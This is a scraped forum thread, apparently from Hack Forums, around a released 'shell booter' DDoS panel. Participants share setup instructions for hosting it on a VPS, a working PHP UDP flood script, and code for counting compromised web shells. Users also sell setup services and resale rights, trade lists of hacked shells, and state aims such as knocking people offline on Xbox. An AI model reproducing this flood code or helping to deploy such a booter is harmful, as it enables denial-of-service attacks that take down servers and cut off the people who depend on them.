<http://82.105.130.20/phpMyAdmin/>

6. Put your username (root) and password

7. Import database.sql file , given by PRODIGY

Setting a Firewall in your VPS (How to Open 80 port to remote connect to your VPS)

Terminal :

```
#system-config-firewall
```

scroll down and apply for 80 Port

[img]http://www.techotopia.com/images/6/62/Fedora_config_firewall_main2.jpg[/img]

Now you have done all needed changes , to see your Host booter check for Ip you connected to VNC client and put it in your browser .

More host booter! cheaper and better!

010100111001 - December 29, 2010, 9:52 am

Ok, Does anyone have the working attack logs?

Swish - December 29, 2010, 10:40 am

Thank you very much Prodigy!

`P R O D I G Y™ - December 29, 2010, 4:28 pm

I finally recieved an award for this release. Awesome.

Prince of Persia - December 29, 2010, 7:18 pm

(Dec 29, 2010 05:28 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) I finally recieved an award for this release. Awesome.

How many downloads did you get?

`P R O D I G Y™ - December 29, 2010, 8:30 pm

Last time was over 2,000. Now it's around 1k

Nate. - December 29, 2010, 8:35 pm

nice release might have to try this out

Mystic - December 29, 2010, 8:40 pm

Very nice release, might try to make my own booter :D (wouldn't sell it without asking you for permission first)

`P R O D I G Y™ - December 29, 2010, 8:41 pm

Sounds good man, good luck.

Swish - December 30, 2010, 5:36 pm

This is the best release ever! I got my booter up and running and it's working very nice.

btw, is it possible somehow to get the shell counter to work?

`P R O D I G Y™ - December 31, 2010, 6:19 am

(Dec 30, 2010 06:36 PM)RoguexD Wrote: [\[CITE\]](#) This is the best release ever! I got my booter up and running and it's working very nice.

btw, is it possible somehow to get the shell counter to work?

Yep, use this in myaccount.php (replace this part)

Code <div class="myaccount">

```
<? $link = mysql_connect("127.0.0.1", DB_USER, DB_PASS); mysql_select_db(DB_NAME, $link);  
$result = mysql_query("SELECT * FROM getshells", $link); $num_rows = mysql_num_rows($result);  
$result2 = mysql_query("SELECT * FROM postshells", $link); $num_rows2 =  
mysql_num_rows($result2); echo "There are " . $num_rows . " get shells, and " . $num_rows2 . "  
post shells online."; ?>  
</div>
```

Swish - December 31, 2010, 2:24 pm

OK, Thank you very very much!

Hopsin - December 31, 2010, 2:41 pm

I like the fact that you provide source as well. Many thanks mate, appreciated!

`P R O D I G Y™ - January 1, 2011, 4:05 pm

I like the fact that you appreciate it. :)

modernmodders - January 1, 2011, 4:35 pm

For the post shells would I use. This:

```
<br><br>
```

```
<?php
```

```
//==
```

```
//PHP DOS
```

```
//Scripted by KraZi
```

```
//Enjoy HF :D
```

```
//==
```

```
$packets = 0;
```

```
$ip = $_POST['ip'];
```

```
$rand = $_POST['port'];
```

```
set_time_limit(0);
```

```
ignore_user_abort(FALSE);
```

```
$exec_time = $_POST['time'];
```

```
$time = time();
```

```
print "Flooded: $ip on port $rand <br><br>";
```

```
$max_time = $time+$exec_time;
```

```
for($i=0;$i<65535;$i++){
```

```
    $out .= "X";
```

```
}
```

```
while(1){
```

```
    $packets++;
```

```
    if(time() > $max_time){
```

```
        break;
```

```
    }
```

```
    $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
```

```
    if($fp){
```

```
        fwrite($fp, $out);
```

```
        fclose($fp);
```

```
    }
```

```
}
```

```
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB)  
packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
```

```
?>
```

phlathax - January 1, 2011, 4:44 pm

(Jan 2, 2011 12:49 PM)JesseJtag Wrote: [\[CITE\]](#) Prodigy can you reply to my pm? i need your help and am willing to pay

I can help you anything on msn of PM for \$\$ cause i need \$\$? else if you post publicly i can help you for free ?

`P R O D I G Y™ - January 2, 2011, 4:05 pm

Nice to see you offering this service!

el_ninio - January 2, 2011, 5:24 pm

Is there anyone who can help me setting this files up

P.S. send me a pm if you are willing to help

`P R O D I G Y™ - January 3, 2011, 3:57 pm

I have a service for setting this up. It's only a few dollars.

Swish - January 4, 2011, 3:54 am

Prodigy, did you sell the attacklogs.php script for like 10\$?

Error 403 - forbidden - January 4, 2011, 7:56 am

would free webhosting have the permissions u need to use this?

Swish - January 4, 2011, 8:19 am

Yes, you can use free webhosting for this.

saudakur - January 4, 2011, 8:29 am

(Jan 4, 2011 08:56 AM)xblackhatx Wrote: [\[CITE\]](#) would free webhosting have the permissions u need to use this?

Not all. You will need cURL extension and on free hosting CPU power and BW is limited so its not so good. May i recommend VPS which you can find for 6\$ per month. There was some disconut on VPS with cupon so you can get one for low as 3\$ or even 1.04\$.

morgan150 - January 4, 2011, 9:41 am

Cheers mate! gunna test it out now! :)

sawic13 - January 4, 2011, 10:02 am

(Jan 4, 2011 09:29 AM)saudakur Wrote: [\[CITE\]](#) Not all. You will need cURL extension and on free hosting CPU power and BW is limited so its not so good. (Jan 7, 2011 11:17 AM)`P R O D I G Y™ Wrote: [\[CITE\]](#) Sure, here it is: <http://pastebin.com/JJ3jrRbU>
thats add shells
not attake logs O_o
i think that why :P

`P R O D I G Y™ - January 8, 2011, 12:05 pm

Oops, sorry. I did release attack logs though.

oSo hacker - January 8, 2011, 12:19 pm

(Jan 8, 2011 01:05 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) Oops, sorry. I did release attack logs though.
but i cant find it,
it shows just loads of random text ?.

`P R O D I G Y™ - January 8, 2011, 12:40 pm

Make one yourself, or buy my premium version then.

oSo hacker - January 8, 2011, 2:22 pm

(Jan 8, 2011 01:40 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) Make one yourself, or buy my premium version then.
i just want to know wow
just to see if my m8 is hiting me whit it

`P R O D I G Y™ - January 8, 2011, 2:59 pm

Sorry, I can't give you my current logs file.

Swish - January 8, 2011, 3:01 pm

Is it possible to buy the logs file?

oSo hacker - January 8, 2011, 3:11 pm

(Jan 8, 2011 03:59 PM)`P R O D I G Y™ Wrote: [\[CITE\]](#) Sorry, I can't give you my current logs file.
its ok but would you mind if i sell it :)
this is what it looks like at the min

i would love you if you say yes

`P R O D I G Y™ - January 8, 2011, 3:50 pm

I charge \$25.00 for rights to sell it, and that's just to stop 100 booters being sold.

oSo hacker - January 8, 2011, 4:14 pm

(Jan 8, 2011 04:50 PM) **`P R O D I G Y™** Wrote: [\[CITE\]](#) I charge \$25.00 for rights to sell it, and that's just to stop 100 booters being sold.

You got aim?

if you do add me kylejtag :)

scrappy77 - January 8, 2011, 7:55 pm

looks pretty nice imma have 2 try this out

`P R O D I G Y™ - January 9, 2011, 7:22 am

This thread has 15 thousand views, wow..!

Swish - January 9, 2011, 1:41 pm

Yes, 15 thousand views is amazing :D

`P R O D I G Y™ - January 9, 2011, 1:43 pm

It's been a long way, guess it's dying down now though.

barking15 - January 9, 2011, 2:04 pm

WoW thank you!

thats great

Crux_Dissimulata - January 10, 2011, 9:55 am

Want to download it but I refuse to. I am trying to code my own shell booter in PHP. Only got some problems looking into how to spoof the sender.

enK - January 10, 2011, 12:04 pm

Thank you so much.

:DD

LOVE THIS.

`P R O D I G Y™ - January 10, 2011, 1:06 pm

You're welcome, use it wisely.

Mr.Cannister - January 11, 2011, 11:45 am

Thanks, im so about this with my new 4.8k shells :)

Safe - January 11, 2011, 11:48 am

Must say, **P R O D I G Y** you are a Great coder, this is a GREAT share thanks.

-Safe

`P R O D I G Y™ - January 11, 2011, 12:02 pm

I appreciate the feedback :)

.sfx - January 12, 2011, 10:52 am

thanks for source :D

but there isnt add shell page Oo

jeejeepower - January 12, 2011, 11:02 am

Thanks for this !!! Now i want to add my own shell but i dont know on which one, post shell or get shell ? can anyone tell me the difference of a Get Shell and a Post Shell?

J?y - January 12, 2011, 12:37 pm

Good shit prodigy.

Sexy contribution <3

PURP - January 13, 2011, 1:51 pm

I just need help getting past this errorCode Table 'a6234977_autumn.users' doesn't exist
It is really getting on my nerves. :(

*I have never used php or websites before so just a little push and I can figure the rest out.

bapforall - January 13, 2011, 7:41 pm

prodigy its really nice share ... everthin wroking fine but its hard to put every shell 1 by i in add shell menu so i decided to edit pannic_booter.sql and i put there my shell list but still he showing 329 shells online why? and 2nd thing he get me error when i c attack log.. ["protocols"]=>

```
array(15) {  
  [0]=>  
    string(4) "dict"  
  [1]=>  
    string(4) "file"  
  [2]=>
```

huge err0r its enough lines to understand you

in myaccount.php

dd0s3d - January 14, 2011, 6:33 pm

I have a problem , i've uploaded this to my webhost and I got the database from my friend , so we're using the same shells

but when I attack with my booter , it doesnt lag anything

and when he attacks .. he can lag CSS servers and websites

--

and when he click on attack .. it takes time like it is actually attacking then it says .. sent

but for me .. its very fast like it didnt send any request ..

--

any fix for that ?

sanakin - January 15, 2011, 2:30 am

Prodigy's Booter SRC Release send me mes for the info panic 11000 booters

you don't need the admin and pass but your admin and pass sample way activate.php insert email and code from phpadmin user sample way chnage level from 1 to 5

dd0s3d - January 15, 2011, 10:23 am

(Jan 15, 2011 02:21 PM)zeha Wrote: [\[CITE\]](#) free or paid hosting ?

did you change db_name,user,host,password ?

Hey ..

Paid hosting , A VPS

yes the DB is working i can access everything , register members and login

but when i click on attack

It doesnt feel like its sending information or shows loading .. 0.5 seconds then it shoes Requests sent or whatever is written when you click attack

no errors show

but on my friends hosting .. when u click attack .. i feel like it is sending the requests .. it shows loading .. for like 10 seconds .. then it says sent

bapforall - January 15, 2011, 5:07 pm

thanks zeha for helping...i confused in dis script which i have to put database name or sql username or pass?

```
$SQL = new ezSQL_mysql();  
$SQL->connect("paniicne_booter", "booter");  
$SQL->select("paniicne_booter");  
$Query = "SELECT * FROM `getshells`";
```

connect pancinne_booter < is dis db name? booter pass? select paniicne_booter username or dbname:S

.sfx - January 15, 2011, 5:29 pm

```
Code function ezSQL_mysql($dbuser='paniicne_booter', $dbpassword='booter',  
$dbname='paniicne_booter', $dbhost='127.0.0.1')
```

p.s. i cant replay to your msg
you need to enable pm

and i know that i have entered the correct db info

There is not wrong with the booter source. You have typed wrong database information and thats it.

Probably you don't know how to type it in.

R?putation - January 20, 2011, 8:15 pm

Dont know whats wrong with my booter set it up correctly everything works but when i ddos with the shells i have it says

"completed etc. etc." when i set the timer to 50 it only boots for 2-3 secs and doesnt even hit offline?

anyone help?

Fascinate - January 20, 2011, 8:41 pm

anyone know how to fix this or why it says this?

i put x's in it for security purposes

Table 'xx_xx.users' doesn't exist

Eruso - February 10, 2011, 11:50 am

I have a problem when you want to log that brings me / login.php

I did something wrong?

Where can I change the admin settings: name and password

how to make a new admin and the password to him
and sorry for the stupidity

Please help me :)

Nightmare Illusions - February 11, 2011, 12:52 pm

I have to say Prodigy this is a very nice. and its good to learn from.

(Feb 10, 2011 12:50 PM)Eruso Wrote: [\[CITE\]](#) I have a problem when you want to log that brings me / login.php

I did something wrong?

Where can I change the admin settings: name and password

how to make a new admin and the password to him
and sorry for the stupidity

Please help me :)

Just go to www.yourwebsite.com/register.php fill it all in then make a account.

Then go to phpmyadmin click users table. Find your user name and then edit user_level to 5 and approved to 1.

You should be able to login now.?

mald1t0 - February 12, 2011, 5:40 am

thanks for the source mr prodigy can anyone please help i did change like the last user said from 1 to 5 (in my db) but now im getting

Account not activated. Please check your email for activation code im using a free host so maybe this is the problem any ideas how to fix ?? please thanks

fix it : just go to user table approved row and change 0 to 1 :)

BlackHatCoder - February 12, 2011, 5:57 am

Really good HQ thread love it.

gage118 - February 13, 2011, 12:33 am

May I have permission to use your source thaaks pm me back

ne0w0rm - February 16, 2011, 1:20 pm

May I have permission to use your source and start selling?

Please Pm Me Back,

Thanks In Advance

Dem?n - March 7, 2011, 2:52 am

Can someone PM how to change the banner at the top.

I have the banner i want, just don't no how to change it :)

Hunion - March 10, 2011, 3:59 am

Very generous you are. I'm going to try this later!

Mr.mods - March 14, 2011, 7:04 am

yo dude whats the admin login plz also how do i make me a admin on my site heres the link

<http://disturbeddesignes.co.cc/b>

rk_krupt - March 18, 2011, 4:29 pm

im actually looking a step by step help with this, or someone that can build me a booter. Im willing to pay what I have to get some good shells online and a good design so I can hook some friends up if you guys can help hit me up Thanks

Dee Loc - March 19, 2011, 10:50 pm

are there any advantages of using a booter vs lets say irc as botnet?

come to think of it, if you have server on "local" ip, i guess your risks are much higher if it comes to worst case scenario

am i wrong?

Kendama - March 19, 2011, 11:13 pm

THANK YOU SO MUCH I HAVE BEEN LOOKING FOR A GUIDE FOR A LONG TIME

luckian - March 20, 2011, 2:15 am

thanks a lot for this looks great

dnEehT - March 25, 2011, 4:32 am

It's very easy to make yourself admin..

1. register on your site
2. Go to your SQL - users db
3. edit the user level from 1 to 5.
4. Log in.

Pace - March 25, 2011, 5:08 am

how come it opens and closes when i install the paniicne_booter.sql

SIM-590811 - March 25, 2011, 5:10 am

Thank you for this :) ill try it out

Pace - March 25, 2011, 6:20 am

I downloaded it and uploaded it to a free hosting site just to test and I tired opening the index and it said:

Warning: mysql_connect(): Can't connect to MySQL server on 'localhost' (10061) in \\192.168.0.16\webfiles\files\2011-3\3563507\dbc.php on line 31
Couldn't make connection.

How come? I have XAMPP with mysql.

Ryzo - March 25, 2011, 2:26 pm

How do i use this exactly?

Would love to be able to use this to hit people offline on xbox.

ROOTt - March 25, 2011, 2:56 pm

hello great job, thank you man!!!!

xoo45 - March 25, 2011, 2:59 pm

Awesome tutorial bro. Got it setup in no time. Thanks.

System-238 - August 27, 2011, 10:51 am

I lol'd when I read that post saying "I can't wait to see the many obvious rips of this" when in fact, they cannot see how this is an obvious rip of a rip of another rip portraying to be unique and new when in reality, the method used to fabricate this was by religiously reading through tuts and docs that any 10 yo skiddy can do, and then all the jackasses that look at the pretty gif pictures and say, "well wowie oh geezz, this sounds intradisting" and download the stupid shit and witness their PC turn into a botnet right before their very eyes without even realizing that their PC is being used as a server for harvesting child pornography, you people make me sick.

Neel - November 14, 2011, 11:51 am

Bump. This is actually really good. PMing you for the advanced version :3 hope I'm worthy!

marcbob - November 22, 2011, 5:20 pm

There is no addshell.php? Is that just for me?

?¢?????-????? - November 23, 2011, 2:02 am

(Jul 27, 2011 12:04 AM)Vida Guerra Wrote: [\[CITE\]](#) you should make a tutorial on how to set everything up :)

a newby has to start somewhere..lol

I think you need a VPS, Xampp or IIS (wwwroot) than place the files in the .rar into htdocs than I think you need to make a database and upload the .sql

That's how I think how to set it up, before you set it up you might want to edit few things such as Logo to your own logo, changing few things.

Thanks for the release though,

marcbob - November 23, 2011, 9:46 am

So anyone have the addshell.php? Kinda useless without it.

PRODIGY™ - November 24, 2011, 8:50 am

@Marcbob, yeah. Ill private message it to you.

TheShinukage - December 15, 2011, 2:16 pm

PM me the Source and Application please?

Flu???™ - December 17, 2011, 9:47 am

I would also like the addshell.php please if I may :)

Magicpacket - December 27, 2011, 3:34 pm

Hey dude, sweet source alot of improvements from the original source.

PMing you for the more "advanced" version hopefully i can get it <3

Thanks

Х????? - December 27, 2011, 5:13 pm

Bit old don't you think...

<35charsgrr>

FearTroyy - December 28, 2011, 7:49 am

I Would Like The addshell.php i have at least 500 shells i could give you

AnonymousMob - January 16, 2012, 10:23 pm

fucking rats? this shit doesn't work fuck this shit booter damn nerd

saisrujan - January 20, 2012, 9:44 am

I can't wait to see many obvious rips of this.

Proxywars - March 3, 2012, 12:11 am

Great Job man...Im skilled in php and mysql so i SHOULD be good but thx man!@!

Wendys - March 3, 2012, 10:14 am

Shell Booters are very weak at times,i would recommend make your on with a Private Source or a Very Stable Source with a Nice UI!

illuminator - March 9, 2012, 8:04 am

this can be nice i will look,
thanks for sharing

lalalox4 - March 20, 2012, 5:53 pm

What do I do with the booter folder, theres only .php files in it? What should i do with them

Slinky Dog - March 26, 2012, 8:29 am

This is too confusing for noobie booters :/

Nathank - March 27, 2012, 2:13 am

yeah im a noobie booter and i dont get it

ViR0 - April 8, 2012, 1:25 pm

Source download link broken... Please fix.

Tomx17 - April 8, 2012, 1:56 pm

Interested, care to pm me some info?

mayboz127 - April 25, 2012, 10:02 pm

Might i ask what is a booter and whats its purposes could someone PM me or reply to this? Thank you!

Tricorn - April 26, 2012, 12:59 pm

can anyone set this up or make a setup tut for me, add my skype : ian.harris.x

A White Hat - April 30, 2012, 5:09 pm

This is a great share my friend keep up the good work...

ImSecure - May 23, 2012, 12:03 pm

Thanks very much for those informations :) .

I will try to reformat this code so it can be more efficient , so if I do this you're gona be the first person that will get this :)

Thanks in 2nd time !

ouko - May 27, 2012, 2:58 am

it's clear or not? I use this to do a test of the system

toby67 - May 30, 2012, 2:22 pm

Has someone provided a tutorial on this booter? Before you start flaming I'm not trying to be a skid. I'm trying to learn. Like someone said above, beginners need to start somewhere. Isn't that what Hack Forums is for?

Nalum - June 4, 2012, 5:51 pm

Thanks for this release prodigy! it has made my life so much easier so that i can finish this and use it for personal use!

(Dec 29, 2010 08:20 AM)sawic13 Wrote: [\[CITE\]](#) Dont know how to set up this host booter?
Spoiler [\(Click to View\)](#)

Required Tools:

Free VPS : tutorial here <https://hackforums.net/showthread.php?tid=672098>

VNC Viewer (connect to your VPS) download via official site

<http://www.realvnc.com/products/free/4.1/download.html>

PRODIGY source

Change in the source in dbc.php , ezSQL.php , hub.php, myaccount.php, the MYSQL conect setting , DataBaseName, Host, User and password

Install the VNC Viewer and run

Open terminal in Fedora (default linux version on free VPS is Fedora Linux)

REMEMBER ALL CHANGES MUST BE DONE BY ROOT , TO ACCESS A ROOT IN LINUX YOU HAVE TO PUT A COMMEND IN YOUR TERMINAL : SU

Copy files

terminal :

```
cp /home/username/Downloads/PRODIGY_source/* /var/www/html
```

Settings for Linux

1. Install Apache (httpd), PHP, MySQL (server and client), and the component that allows php to talk to mysql.

```
yum -y install httpd php mysql mysql-server php-mysql
```

2. Configure the new services to start automatically

```
/sbin/chkconfig httpd on  
/sbin/chkconfig --add mysqld  
/sbin/chkconfig mysqld on
```

```
/sbin/service httpd start  
/sbin/service mysqld start
```

3. IMPORTANT! Set up the mysql database root password. Without a password, ANY user on the box can login to mysql as database root. The mysql root account is a separate password from the machine root account.

```
mysqladmin -u root password 'new-password' [quotes are required]
```

4. Create a database.

```
mysql -u root -p
```

(here you have to put the password that you have changed before)

```
mysql> CREATE DATABASE database_name;
```

How To Install PHPMyAdmin

1.To install PHPMyAdmin using yum, simply issue

```
# yum -y install phpMyAdmin.noarch
```

2. PHPMyAdmin Security Access

(terminal) # vi /etc/httpd/conf.d/phpMyAdmin.conf

```
order deny,allow
```

```
deny from all
```

```
allow from 127.0.0.1
```

```
allow from 82.105.130.20 // edit here remote Ip to connect to phpMyAdmin
```

3.PHPMyAdmin User Access Authentication

```
# vi /etc/phpMyAdmin/config.inc.php
```

```
$cfg['Servers'][$i]['user'] = 'USERNAME'; // MySQL user
```

```
$cfg['Servers'][$i]['password'] = 'PASSWORD'; // MySQL password (only needed
```

```
$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address
```

4. Restarting a httpd service to take affect all changes

```
# service httpd reload
```

5.Starting phpMyAdmin

For localhost

<http://localhost/phpMyAdmin/>

Remote access

<http://82.105.130.20/phpMyAdmin/>

6. Put your username (root) and password

7. Import database.sql file , given by PRODIGY

Setting a Firewall in your VPS (How to Open 80 port to remote connect to your VPS)

Terminal :

```
#system-config-firewall
```

scroll down and apply for 80 Port

[img]http://www.techotopia.com/images/6/62/Fedora_config_firewall_main2.jpg[/img]

Now you have done all needed changes , to see your Host booter check for Ip you connected to VNC client and put it in your browser .

More host booter! cheaper and better!

this guide was excellent and very helpful, thank you buddy!

RussianNinja - June 18, 2012, 2:03 pm

it's clear or not? I wanna try this also

Real Shit - June 21, 2012, 7:09 pm

Can you send me this please, there's no suerveys for my country

mitito11 - June 28, 2012, 1:38 am

that is cool lol thx you verry mutch ;)
